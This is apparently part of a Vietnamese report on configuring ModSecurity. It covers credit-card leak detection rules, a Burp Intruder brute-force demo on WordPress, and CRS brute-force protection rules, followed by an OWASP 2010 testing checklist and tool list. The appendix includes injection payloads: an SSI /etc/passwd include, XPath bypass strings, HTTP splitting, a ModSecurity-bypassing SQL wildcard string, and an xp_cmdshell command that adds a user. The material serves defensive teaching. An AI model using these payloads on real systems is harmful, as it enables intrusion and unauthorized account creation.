SecRule ARGS "@verifyCC (?:^|[^\d])(3[47]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-
?\d{3})(?:[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'American Express Credit
Card Number detected in user input',id:'920009',tag:'PCI/10.2',severity:'5'"
Các rule này sử dụng @verifyCC operator để phân tích mẫu trong dữ liệu trả về phía người
dùng. Các thành phần tiếp theo trong rule sẽ xác định 4 ký tự đầu trong mã thẻ để xách định
loại thẻ tín dụng.
[error] [client 192.168.1.103] ModSecurity: Warning. Pattern match "^(\\\\d{4}\\\\-?)" at
TX:ccdata. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_25_cc_known.conf"] [line "80"]
[id "920010"] [msg "American Express Credit Card Number sent from site to user"]
[data "Start of CC #: 3723***..."][severity "ALERT"][tag "WASCTC/5.2"] [tag "PCI/3.3"]
[hostname "www.banking.com"][uri "/cart/loginexecute.asp"] [unique_id
"T6wAb38AAQEAAEltA7EAAAAB"]
Trường hợp 6: Phát hiện hành vi đăng nhập bruteforce
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Brute Force Testing
(OWASP-AT-004)
55
Các thành phần tham khảo:
OWASP ModSecurity Core Rule Set (CRS)
o modsecurity_crs_10_config.conf
o modsecurity_crs_11_brute_force.conf
Trong phần minh họa khai thác bruteforce, tôi sử dụng module Intruder trong phần mềm
Burp Suite. Module này cho phép người dùng tùy biến dữ liệu gói tin HTTP và sau đó thực
hiện gởi nội dung đến server.
Hình 12: Giao diện Burp Suite và nội dung đăng nhập Wordpress CMS
Trong phần đăng nhập như hình trên, tôi chỉ định tham số pwd sẽ là nơi thực hiện chèn các
giá trị password trong quá trình bruteforce.
56
Hình 13: Danh sách các password phổ biến
57
Hình 14: Trang web thông báo password không chính xác
Do trang quản trị CMS không giới hạn số lần đăng nhập, nên danh sách password gồm 3424
chuỗi sẽ lần lượt thay thế vào biến pwd. Trong trường hợp người dùng sử dụng mật khẩu yếu,
thì việc tài khoản người dùng bị bẻ gãy xác thực là có thể.
Phòng chống:
Tập tin đầu tiên tôi cần cấu hình là modsecurity_crs_10_setup.conf, thực hiện xóa comment
trong rule 900014:
# -- [[ Brute Force Protection ]] ---------------------------------------------------------
#
# If you are using the Brute Force Protection rule set, then uncomment the following
# lines and set the following variables:
# - Protected URLs: resources to protect (e.g. login pages) - set to your login page
# - Burst Time Slice Interval: time interval window to monitor for bursts
# - Request Threshold: request # threshold to trigger a burst
# - Block Period: temporary block timeout
#Thực hiện thay đổi dòng setvar:'tx.brute_force_protected_urls=/login.jsp
58
#/partner_login.php', bằng đường dẫn trang đăng nhập wordpress.
SecAction \
"id:'900014', \
phase:1, \
t:none, \
setvar:'tx.brute_force_protected_urls=/wp-login.php', \
setvar:'tx.brute_force_burst_time_slice=60', \
setvar:'tx.brute_force_counter_threshold=10', \
setvar:'tx.brute_force_block_timeout=300', \
nolog, \
pass"
Tiếp theo, tôi thực hiện cấu hình tập tin modsecurity_crs_11_brute_force.conf
# Anti-Automation Rule for specific Pages (Brute Force Protection)
# This is a rate-limiting rule set and does not directly correlate whether the
# authentication attempt was successful or not.
# Enforce an existing IP address block and log only 1-time/minute
# We don't want to get flooded by alerts during an attack or scan so
# we are only triggering an alert once/minute. You can adjust how often
# you want to receive status alerts by changing the expirevar setting below.
#
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "chain,phase:1,id:'981036',block,msg:'Brute
Force Attack Identified from %{tx.real_ip} (%{tx.brute_force_block_counter} hits since last
alert)',setvar:ip.brute_force_block_counter=+1"
SecRule &IP:BRUTE_FORCE_BLOCK_FLAG "@eq 0"
"setvar:ip.brute_force_block_flag=1,expirevar:ip.brute_force_block_flag=60,setvar:tx.brute_fo
rce_block_counter=%{ip.brute_force_block_counter},setvar:ip.brute_force_block_counter=0"
#
# Block and track # of requests but don't log
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"
"phase:1,id:'981037',block,nolog,setvar:ip.brute_force_block_counter=+1"
#
# skipAfter Checks
# There are different scenarios where we don't want to do checks -
# 1. If the user has not defined any URLs for Brute Force Protection in the 10 config file
# 2. If the current URL is not listed as a protected URL
# 3. If the current IP address has already been blocked due to high requests
# In these cases, we skip doing the request counts.
#
SecRule &TX:BRUTE_FORCE_PROTECTED_URLS "@eq 0"
"phase:5,id:'981038',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH
ECKS"
SecRule REQUEST_FILENAME "!@within %{tx.brute_force_protected_urls}"
59
"phase:5,id:'981039',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH
ECKS"
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"
"phase:5,id:'981040',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH
ECKS"
## Brute Force Counter
# Count the number of requests to these resoures
#
SecAction "phase:5,id:'981041',t:none,nolog,pass,setvar:ip.brute_force_counter=+1"
#
# Check Brute Force Counter
# If the request count is greater than or equal to 50 within 5 mins,
# we then set the burst counter
#
SecRule IP:BRUTE_FORCE_COUNTER "@gt %{tx.brute_force_counter_threshold}"
"phase:5,id:'981042',t:none,nolog,pass,t:none,setvar:ip.brute_force_burst_counter=+1,expirevar
:ip.brute_force_burst_counter=%{tx.brute_force_burst_time_slice},setvar:!ip.brute_force_coun
ter"
#
# Check Brute Force Burst Counter and set Block
# Check the burst counter - if greater than or equal to 2, then we set the IP
# block variable for 5 mins and issue an alert.
#
SecRule IP:BRUTE_FORCE_BURST_COUNTER "@ge 2"
"phase:5,id:'981043',t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} - #
of Request Bursts:
%{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc
k=%{tx.brute_force_block_timeout}"
SecMarker END_BRUTE_FORCE_PROTECTION_CHECKS
Những rule này có tác dụng theo dõi việc đăng nhập tại trong wp-login.php. Nếu cùng thời
điểm có nhiền hơn hai kết nối đăng nhập thì ModSecurity sẽ thực hiện hành động chặn kết nối
tạm thời trong 5 phút, đồng thời các cảnh báo sẽ được tạo ra trong log quản trị.
[www.modsec.com/sid#2268fb0][rid#24f74d8][/wp-login.php][5] Rule 238e100: SecRule
"IP:BRUTE_FORCE_BURST_COUNTER" "@ge 2"
"phase:5,id:981043,t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} -
# of Request Bursts:
%{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc
k=%{tx.brute_force_block_timeout}"
60
Hình 15: Modsecurity thực hiện chặn các truy vấn vượt mức quy định
61
XII. PHỤ LỤC
DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010
NHÓM STT
INF
OR
MA
TI
ON
GA
TH
ER
ING
1 Spider, Robots and Crawlers OWASP-IG-001
2 Search Engine Discovery/Reconnaissance OWASP-IG-002
3 Identify application entry points OWASP-IG-003
4 Testing for Web Application fingerprint OWASP-IG-004
5 Application Discovery OWASP-IG-005
6 Analysis of Error Codes OWASP-IG-006
CO
NF
IGU
RA
TIO
N
MA
NA
GE
ME
NT
TE
ST
ING
7 SSL/TLS Testing (SSL Version, Algorithms,
Key length, Digital Cert. Validity)
OWASP-CM-001
8 DB Listener Testing OWASP-CM-002
9 Infrastructure Configuration Management
Testing
OWASP-CM-003
10 Application Configuration Management
Testing
OWASP-CM-004
11 Testing for File Extensions Handling OWASP-CM-005
12 Old, backup and unreferenced files OWASP-CM-006
13 Infrastructure and Application Admin
Interface
OWASP-CM-007
14 Testing for HTTP methods and XST OWASP-CM-008
AU
TH
EN
TIC
AT
ION
TE
ST
ING
15 Credentials transport over an encrypted
channel
OWASP-AT-001
16 Testing for user enumeration OWASP-AT-002
17 Testing for Guessable (Dictionary) User
Account
OWASP-AT-003
18 Brute Force Testing OWASP-AT-004
19 Testing for bypassing authentication schema OWASP-AT-005
20 Testing for vulnerable remember password
and pwd reset
OWASP-AT-006
21 Testing for Logout and Browser Cache
Management
OWASP-AT-007
22 Testing for CAPTCHA OWASP-AT-008
23 Testing Multiple Factors Authentication OWASP-AT-009
62
24 Testing for Race Conditions OWASP-AT-010 S
ES
SIO
N
MA
NA
GE
ME
NT
25 Testing for session management schema OWASP-SM-001
26 Testing for Cookies attributes OWASP-SM-002
27 Testing for Session Fixation OWASP-SM-003
28 Testing for Exposed session Variables OWASP-SM-004
29 Testing for CSRF OWASP-SM-005
AU
T
HO
RI
ZA
TIO
N
TE
ST
I
NG
30 Testing for Path Traversal OWASP-AZ-001
31 Testing for bypassing authorization schema OWASP-AZ-002
32 Testing for Privilege Escalation OWASP-AZ-003
BU
SIN
ES
S
LO
GIC
TE
ST
ING
33 Testing for business logic OWASP-BL-001
DA
TA
VA
LID
AT
ION
TE
ST
ING
34 Testing for Reflected Cross Site Scripting OWASP-DV-001
35 Testing for Stored Cross Site Scripting OWASP-DV-002
36 Testing for DOM based Cross Site Scripting OWASP-DV-003
37 Testing for Cross Site Flashing OWASP-DV-004
38 SQL Injection OWASP-DV-005
39 LDAP Injection OWASP-DV-006
40 ORM Injection OWASP-DV-007
41 XML Injection OWASP-DV-008
42 SSI Injection OWASP-DV-009
43 XPath Injection OWASP-DV-010
44 IMAP/SMTP Injection OWASP-DV-011
45 Code Injection OWASP-DV-012
46 OS Commanding OWASP-DV-013
47 Buffer overflow OWASP-DV-014
48 Incubated vulnerability Testing OWASP-DV-015
49 Testing for HTTP Splitting/Smuggling OWASP-DV-016
DE
NIA
L O
F
SE
RV
ICE
TE
ST
ING
50 Testing for SQL Wildcard Attacks OWASP-DS-001
51 Locking Customer Accounts OWASP-DS-002
52 Testing for DoS Buffer Overflows OWASP-DS-003
53 User Specified Object Allocation OWASP-DS-004
63
54 User Input as a Loop Counter OWASP-DS-005
55 Writing User Provided Data to Disk OWASP-DS-006
56 Failure to Release Resources OWASP-DS-007
57 Storing too Much Data in Session OWASP-DS-008
WE
B S
ER
VIC
ES
TE
ST
ING
58 WS Information Gathering OWASP-WS-001
59 Testing WSDL OWASP-WS-002
60 XML Structural Testing OWASP-WS-003
61 XML content-level Testing OWASP-WS-004
62 HTTP GET parameters/REST Testing OWASP-WS-005
63 Naughty SOAP attachments OWASP-WS-006
64 Replay Testing OWASP-WS-007
AJ
AX
TE
ST
IN
G
65 AJAX Vulnerabilities OWASP-AJ-001
66 AJAX Testing OWASP-AJ-002
64
DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB
Tools Category OS Comments Link
Wikto Windo
ws http://www.sensepost.
com/research/wikto/
Nikto Linux
http://www.nessus.org
Paros Web App
Proxy Windo
ws
A Java based web proxy for assessing web application vulnerability. It supports editing/viewing HTTP/HTTPS messages on-the-fly to change items such as cookies and form fields. It includes a web traffic recorder, web spider, hash calculator, and a scanner for testing common web application attacks such as SQL injection and cross-site scripting.
TamperIE Data
Tampering
Enables HTML-form tampering for penetration testing of web apps
Nessus Vulnerabilit
y Scanner
The Nessus vulnerability scanner, is the world-leader in active scanners, featuring high speed discovery, configuration auditing, asset profiling, sensitive data discovery and vulnerability analysis of your security posture. Nessus scanners can be distributed throughout an entire enterprise, inside DMZs, and across physically separate networks.
65
Nmap Web Server
Assessment Tool
Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.
Wget Web
Mirroring
SamSpade Web
Spidering
Spike Proxy Web
Crawler
Xenu
Curl Secure FTP
curl is a command line tool for transferring files with URL syntax, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, kerberos...), file transfer resume, proxy tunneling and a busload of other useful tricks.
http://curl.haxx.se/
OpenSSL Encryption
tools Assess the strength of SSL servers by testing the ciphers
66
BURP Proxy
Web Vulnerability Scanners
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. It operates as a man-in-the-middle between the end browser and the target web server, and allows the user to intercept, inspect and modify the raw traffic passing in both directions. Burp Proxy allows you to find and exploit application vulnerabilities by monitoring and manipulating critical parameters and other data transmitted by the application. By modifying browser requests in various malicious ways, Burp Proxy can be used to perform attacks such as SQL injection, cookie subversion, privilege escalation, session hijacking, directory traversal and buffer overflows.
SSLDigger Encryption
tools
SSLDigger v1.02 is a tool to assess the strength of SSL servers by testing the ciphers supported. Some of these ciphers are known to be insecure.
HTTrack
HTTPrint Webserver
Fingerprinting tool
httprint is a web server fingerprinting tool. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings, or by plug-ins such as mod_security or servermask. httprint can also be used to detect web enabled devices which do not have a server banner string, such as wireless access points, routers, switches, cable modems, etc. httprint uses text signature strings and it is very easy to add signatures to the signature database
67
Webscarab Web
Vulnerability Analysis
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server, and to review and modify responses returned from the server before they are received by the browser. WebScarab is able to intercept both HTTP and HTTPS communication.
Foundstone Cookie Digger
DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB
Category Ref. Number
Test Name Vulnerability
Comments Tests Tools
Information Gathering
IG-001 Spiders, Robots and Crawlers
N.A. Analyze Robots with Google Webmaster,
HTTrack,Wikto/Nikto
IG-002 Search Engine Discovery/Reconnaissance
N.A. Information obtained with help of Search Engines
Search google with various google dorks
Goolag scanner, Google Hacking db (Johny), Goolge, Kartoo
IG-003 Identify application entry points
N.A. Identify form parameters, methods HTTP Header analysis
Paros, Webscarab, Tamper IE,
68
Tamper Data
IG-004 Testing for Web Application Fingerprint
N.A. WebServer Details Enumeration
Analyse the HTTP headers HTTP Print, NetCraft
IG-005 Application Discovery
N.A. find Applications hosted in the webserver, non standard ports,
Google for subdomain discovery, Network Tools
nMap,telnet, nessus, host, Netcraft Search DNS service, DNS Stuff Reverse IP Lookup, nslookup, wikto
IG-006 Analysis of Error Codes
Information Disclosure
Grab information disclosed in error codes
Request random page, Login Failed, Remove/add request parameters,Denied dir listing, Create network issues
Software Proxies, Wikto
Configuration Management Testing
CM‐001 SSL/TLS Testing (SSL Version, Algorithms, Key length, Digital Cert. Validity) - SSL Weakness
SSL Weakness
Identify SSL service, ciphers, analyse certificate expiry
nMap, Nessus, OpenSSL, SSLDigger
CM‐002 DB Listener Testing - DB Listener weak
DB Listener weak
For Intranet sites
Stop Listener - DOS Attack, Hijack DB (reset pass), Info leakage (log rewrite), Info on Listener, DB & App Config
Integrigy lsnrcheck, LSNRCTL, TNS Listener
69
CM‐003 Infrastructure Configuration Management Testing - Infrastructure Configuration management weakness
Infrastructure Configuration management weakness
Config management for webserver software, back-end database servers, auth servers.
Understand the infrastructure elements interactions, Admin tools review, Ports used, Version check.
CM‐004 Application Configuration Management Testing - Application Configuration management weakness
Application Configuration management weakness
Make sure that all the configuration guidelines are followed
Only enable server modules, Handle Server errors (40*,50*),Minimal Privilege, Software Logging, Overload Handling against DOS (Logs purging check), Log review
CM‐005 Testing for File Extensions Handling - File extensions handling
File extensions handling
Determining how web servers handle requests corresponding to files having different extensions may help to understand web server behaviour depending on the kind of files we try to access(.asa,
Spidering, Googling, Crawling, Manual Inspection
Curl, wget, web mirroring tool, Nessus, Nikto
70
.inc, .db)
CM‐006 Old, backup and unreferenced files - Old, backup and unreferenced files
Old, backup and unreferenced files
Accessing and downloading the backup files which can escape the file restrictions
Check for On-the-fly backup files created, Check comments, Check JS source code, Random guessing of filename, Directory Listing, Search cached files
HTTrack,Wikto/Nikto, Goolag, Spike Proxy
CM‐007 Infrastructure and Application Admin Interfaces - Access to Admin interfaces
Access to Admin interfaces
Try to exploit the admin functions such as User Allocation, Site design/layout, Data manipulation, Configs
Directory and file enumeration, Comments and links in source, Reviewing server and application docs, Alternative server port, Parameter tampering, Seperation of duties check
Webscarab,
CM‐008 Testing for HTTP Methods and XST - HTTP Methods
HTTP Methods enabled, XST permitted, HTTP Ver
Disable PUT, DELETE, CONNECT, TRACE can be checked by using OPTIONS command, XST Testing- Inject JS with Trace comman, XSRF Test-check for HEAD /request
Netcat, TamperIE, Webscarab etc
71
enabled, XST permitted, HTTP Verb
b
Authentication Testing
AT-001 Credentials transport over an encrypted channel - Credentials transport over an encrypted channel
Credentials transport over an encrypted channel
Check referrer whether its HTTP or HTTPS, Check the method used
Wireshark, Proxy
AT-002 Testing for user enumeration - User enumeration
User enumeration
Enumerate all possible valid userids by interacting with the authentication mechanism of the application
Generic login error statement check, return codes/parameter values,Page Titles,Recovery msg, Userid guessing,
Webscarab
AT-003 Testing for Guessable (Dictionary) User Account - Guessable user account
Guessable user account
Default username and passwords check, App name as userid,name of app contacts,another account userid/email, js source,parameters,comments,username /password generation,password policy check,source code - harcoded pass check, Config files check
Brutus, THC Hydra, Burp Intruder, Cain & Abel
72
AT-004 Brute Force Testing - Credentials Brute forcing
Credentials Brute forcing
Dictionary, Search, Rule-Based (pswd masks) Bruteforce attacks
Brutus, THC Hydra, Burp Intruder, Cain & Abel, John the Ripper, OPHCRACK, Rainbow Tables
AT-005 Testing for bypassing authentication schema - Bypassing authentication schema
Bypassing authentication schema
Forward Browsing, Param Modification,Session ID Predication (Session Hijacking), SQL Injection
Webscarab
AT-006 Testing for vulnerable remember password and pwd reset - Vulnerable remember password, weak pwd reset
Vulnerable remember password, weak pwd reset
Understand the password reset procedure, the secret questions asked etc
Secret qns asked?,strength of secret qns,no of qns,no of password reset attempts,whether new password is emailed to primary emailid check. Should not cache the passwords (remember me), Passwords stored in permanent coookies should be hashed. Autocomplete Off enabled.
73
AT-007 Testing for Logout and Browser Cache Management - - Logout function not properly implemented, browser cache weakness
Logout function not properly implemented, browser cache weakness
Session timeout, Logout etc implemented
HTTP.Session.invalidate()-Java, Java.Session.abandon()-.Net implemented. Press back button/reload check,check presense of logout btns in all page, User browser closed instead of session invalidate check,insert Set-Cookie check, Time out interval, Timeout not by client check,Modify the session expiration time at clientside, Check META Cache-Controlin HTML,
Webscarab, Add N Edit Cookies
AT-008 Testing for CAPTCHA - Weak Captcha implementation
Weak Captcha implementation
Completely Automated Public Turing
CAPTCHA Image Complexity, Set of possible answers,Analysing the return encrypted Captcha code, identify the parameters, Reuse the session id of known CAPTCHA, Send old CAPTCHA value with old ID,Send old decoded CAPTCHA value with old session id
CAPTCHA Decoders -PWNtcha,The Captcha Breaker, Captcha Decoder, Online Captcha Decoder.
AT-009 Testing Multiple Factors Authentication - Weak Multiple Factors Authentication
Weak Multiple Factors Authentication
•One‐time password (OTP) generator token. •Grid Card, Scratch Card, or any information that only the legitimate user is supposed to have in his wallet •Crypto devices
74
like USB tokens or smart cards, equipped with X.509 certificates. •Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP]
AT-010 Testing for Race Conditions - Race Conditions vulnerability
Race Conditions vulnerability
A race condition is a flaw that produces an unexpected result when the timing of actions impact other actions. An example may be seen on a multithreaded application where actions are being performed on the same data. Race conditions, by their very nature, are difficult to test for
Make multiple simultaneous requests while observing the outcome for unexpected behavior, Manual Code Review
75
Session Management
SM-001 Testing for Session Management Schema - Bypassing Session Management Schema, Weak Session Token
Bypassing Session Management Schema, Weak Session Token
CookieCollection,CookieReverseEngineering,CookieManipulation.
Unencrypted Cookie Transport,Presence of persistent cookies,Cache-Control Settings, SessionID Analysis-SensitiveInfo, Randomness, Cryptanalysis, BruteForce
Webscarab,BurpProxy, FoundStone Cookie Digger
SM-002 Testing for Cookies attributes - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity
Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity
";secure", HTTPOnly - Always set, "; domain=app.mysite.com", "; path=/myapp/", expires-Future Value => inspect for sensitive data
Webscarab,BurpProxy,Paros, TamperIE/Data
SM-003 Testing for Session Fixation - Session Fixation
Session Fixation
The application doesn’t renew the cookie after auth -Session hijacking
Webscarab
SM-004 Testing for Exposed Session Variables - Exposed sensitive session
Exposed sensitive session variables
Encryption & Reuse of Session Tokens vulnerabilities, Proxies & Caching vulnerabilities,TGET & POST vulnerabilities, Transport vulnerabilities
76
variables
SM-005 Testing for CSRF - CSRF
CSRF URL Analysis and auth requirements.
Authorization Testing
AZ-001 Testing for Path Traversal - Path Traversal
Path Traversal
Proper Implementation of ACLs, Check server side includes
a) Input vector enumeration b) Testing Techniques dot-dot-slash attack (../), directory traversal,directory climbing, or backtracking
Grep, Nikto, Burp Suite, Paros, Webscarab
AZ-002 Testing for bypassing authorization schema - Bypassing authorization schema
Bypassing authorization schema
Access a resource without authentication/after logout, Forceful Browsing
77
AZ-003 Testing for Privilege Escalation - Privilege Escalation
Privilege Escalation
vertical escalation when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to horizontal escalation when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).
Testing for role/privilege manipulatio - Manipulate the values of hidden variables , analyse the error messages etc
Proxy Tools
78
Business logic testing
BL-001 Testing for Business Logic - Bypassable business logic
Bypassable business logic
Bypass the actual workflow required to complete a process
*Understanding the application *Creating raw data for designing logical tests (Workflows, ACLs) *Designing the logical tests *Standard prerequisites *Execution of logical tests
Automated tools fails
Data Validation Testing
DV-001 Testing for Reflected Cross Site Scripting - Reflected XSS
Reflected XSS
Check for input validation, try out different combinations of XSS vectors
1. Detect input vectors. 2. Analyze each input vector to detect potential vulnerabilities 3. Replace the vector used to identify XSS with the vector which can exploit the vulnerability.
CAL9000, Rsnake XSSdb, XSSMe firefox addon, XSS proxy, WebScarab, Rat proxy, Burp Proxy
DV-002 Testing for Stored Cross Site Scripting - Stored XSS
Stored XSS
Impacts *Hijacking another user's browser *Capturing sensitive information viewed by application users *Pseudo defacement of the application *Port scanning of internal hosts ("internal" in relation to the users of the web application)
1.Input Forms 2.Analyze HTML code 3.Leverage Stored XSS with BeEF 4.File Upload
CAL9000, Hackvertor, XSSProxy, BeEF, WebScarab
79
*Directed delivery of browser‐based exploits *Other malicious activities
DV-003 Testing for DOM based Cross Site Scripting - DOM XSS
DOM XSS
This happens mostly due to poor javascript coding.
Test for the user inputs obtained from client‐side JavaScript objects
Automated tools fails
DV-004 Testing for Cross Site Flashing - Cross Site Flashing
Cross Site Flashing
Working for actionscript 2.0 files
1.Decompile 2.Undefined Variables 3.Unsafe methods 4.Include malicious SWF
SWFIntruder, Flare, Flasm
80
DV-005 SQL Injection - SQL Injection
SQL Injection
1.Inband (retrieved data in the webpage) 2.Out-of-band (data sent through email or other means) 3.Inferential (Analyse the behaviour of Dbserver)
Test Categories 1.Authentication Forms, 2.Search Engine, 3.E-Commerce sites Tests 1.Heuristic Analysis(' , : , --) 2.Construct SQL Injection Vectors 3.Analyse Error Messages
OWASP SQLiX SQL Power Injector sqlbftools sqlmap SqlDumper sqlninja
DV-006 LDAP Injection - LDAP Injection
LDAP Injection
Ability to • Access unauthorized content • Evade Application restrictions • Gather unauthorized information • Add or modify Objects inside LDAP tree structure.
Softerra LDAP Browser
DV-007 ORM Injection - ORM Injection
ORM Injection
Object Relational Mapping tool. ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord
Black box testing for ORM Injection vulnerabilities is identical to SQL Injection testing
81
for Ruby on Rails, EZPDO for PHP and many others.
DV-008 XML Injection - XML Injection
XML Injection
Check with XML Meta Characters ', " , <>, <!--/-->, &, <![CDATA[ / ]]>,
DV-009 SSI Injection - SSI Injection
SSI Injection
* Presense of .shtml extension * Check for these characters < ! # = / . " - > and [a-zA-Z0-9] * include String = <!--#include virtual="/etc/passwd" -->
Burp Suit, WebScarab, Paros
DV-010 XPath Injection - XPath Injection
XPath Injection
Unlike SQL, there are not ACLs enforced, as our query can access every part of the XML document
* Check for XML error enumeration by supplying a single quote (') * Username: ' or '1' = '1 Password: ' or '1' = '1
82
DV-011 IMAP/SMTP Injection - IMAP/SMTP Injection
IMAP/SMTP Injection
• Exploitation of vulnerabilities in the IMAP/SMTP protocol • Application restrictions evasion • Anti-automation process evasion • Information leaks • Relay/SPAM The standard attack patterns are: • Identifying vulnerable parameters • Understanding the data flow and deployment structure of the client • IMAP/SMTP command injection
DV-012 Code Injection - Code Injection
Code Injection
Enter commands in the input field
DV-013 OS Commanding - OS Commanding
OS Commanding
Understand the application platform, OS, folder structure, relative path and execute those
Webscarab
DV-014 Buffer overflow - Buffer overflow
Buffer overflow
• Testing for heap overflow vulnerability • Testing for stack overflow vulnerability • Testing for format string vulnerability
OllyDbg, Spike, Brute Force Binary Tester (BFB), Metasploit. RATS, Flawfinder and ITS4 are available for analyzing C-style languages
83
DV-015 Incubated vulnerability - Incubated vulnerability
Incubated vulnerability
File Upload, Stored XSS , SQL/XPATH Injection, Manage server files via server misconfigs
XSS-proxy, Paros, Burp, Metasploit
DV-016 Testing for HTTP Splitting/Smuggling - HTTP Splitting, Smuggling
HTTP Splitting, Smuggling
Outcome - Cache Poisoning/XSS
param=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
Denial of Service Testing
DS-001 Testing for SQL Wildcard Attacks - SQL Wildcard vulnerability
SQL Wildcard vulnerability
• Starting with % and ending with % will generally cause longer running queries. • Some search implementations may cache search results. During the testing, every search query should be slightly different to
• '%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-9]_%' • '%64_[^!_%65/%aa?F%64_D)_(F%64)_%36([)({}%33){()}£$&N%55_)$*£()$*R"_)][%55](%66[x])%ba ][$*"£$-9]_%54' bypasses modsecurity • _[r/a)_ _(r/b)_ _(r-d)_ • %n[^n]y[^j]l[^k]d[^l]h[^z]t[^k]b[^q]t[^q][^n]!% • %_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!_%
84
avoid this.
DS-002 Locking Customer Accounts - Locking Customer Accounts
Locking Customer Accounts
Wrong Attempts Valid Username enumeration - Login Page, New User Reg Page, Password Reset Page
DS-003 Testing for DoS Buffer Overflows - Buffer Overflows
Buffer Overflows
if you have received a response (or a lack of) that makes you believe that the
Submit large inputs and check how the server responds
85
overflow has occurred, attempt to make another request to the server and see if it still responds.
DS-004 User Specified Object Allocation - User Specified Object Allocation
User Specified Object Allocation
If the application does not pose an upper limit to the number of items that can be in any given moment inside the user electronic cart, you can write an automated script that keeps adding items to the user cart until the cart object fills the server memory.
DS-005 User Input as a Loop Counter - User Input as a Loop Counter
User Input as a Loop Counter
if the user can directly or indirectly assign a value that will be used as a counter in a loop function, this can cause performance problems on the server.
86
DS-006 Writing User Provided Data to Disk - Writing User Provided Data to Disk
Writing User Provided Data to Disk
1. The tester submits an extremely long value to the server in the request, and the application logs the value directly without having validated that it conforms to what was expected. 2. The application may have data validation to verify the submitted value being well formed and of proper length, but then still log the failed value (for auditing or error tracking purposes) into an application log.
87
DS-007 Failure to Release Resources - Failure to Release Resources
Failure to Release Resources
• An application locks a file for writing, and then an exception occurs but does not explicitly close and unlock the file • Memory leaking in languages where the developer is responsible for memory management such as C & C++. In the case where an error causes normal logic flow to be circumvented, the allocated memory may not be removed and may be left in such a state that the garbage collector does not know it should be reclaimed • Use of DB connection objects where the objects are not being freed if an exception is thrown. A number of such repeated requests can cause the application to consume all the DB connections, as the code will still hold the open DB object, never releasing the resource.
88
DS-008 Storing too Much Data in Session - Storing too Much Data in Session
Storing too Much Data in Session
The developer may have chosen to cache the records in the session instead of returning to the database for the next block of data. If this is suspected, create a script to automate the creation of many new sessions with the server and run the request that is suspected of caching the data within the session for each one. Let the script run for a while, and then observe the responsiveness of the application for new sessions. It may be possible that a Virtual Machine (VM) or even the server itself will begin to run out of memory because of this attack.
Web Services Testing
WS-001 WS Information Gathering - N.A.
N.A. curl --request POST --header “Content-type: text/xml --data @my_request.xml http://api.google.com/search/beta2
* inurl:wsdl site:example.com * Web Services Discovery DISCO, UDDI * http://seekda.com * http://www.wsindex.org * http://www.soapclient.com
Net Square wsPawn, SOAPClient4XG, CURL, Perl - SOAPlite, OWASP WebScarab: Web Services plugin, WSDigger
89
WS-002 Testing WSDL - WSDL Weakness
WSDL Weakness
WebScarab, WSDigger
WS-003 XML Structural Testing - Weak XML Structure
Weak XML Structure
* A web service utilizing DOM-based parsing can be "upset" by including a very large payload in the XML message, which the parser would be obliged to parse * Binary attachments - Large BLOB * WSDigger contains sample attack plug-ins for SQL injection, XSS, XPATH injection attacks
WebScarab, WSDigger
WS-004 XML content-level Testing - XML content-level
XML content-level
1) SQL Injection or XPath injection 2) Buffer Overflow and 3) Command Injection.
WebScarab, MetaSploit
WS-005 HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST
WS HTTP GET parameters/REST
https://www.ws.com/accountinfo?accountnumber=12039475' exec master..xp_cmdshell 'net user Vxr pass /Add &userId=asi9485jfuhe92
WS-006 Naughty SOAP attachments - WS Naughty SOAP attachments
WS Naughty SOAP attachments
Attach a test virus attachment using a non-destructive virus like EICAR, to a SOAP message and post to the target Web Service.
90
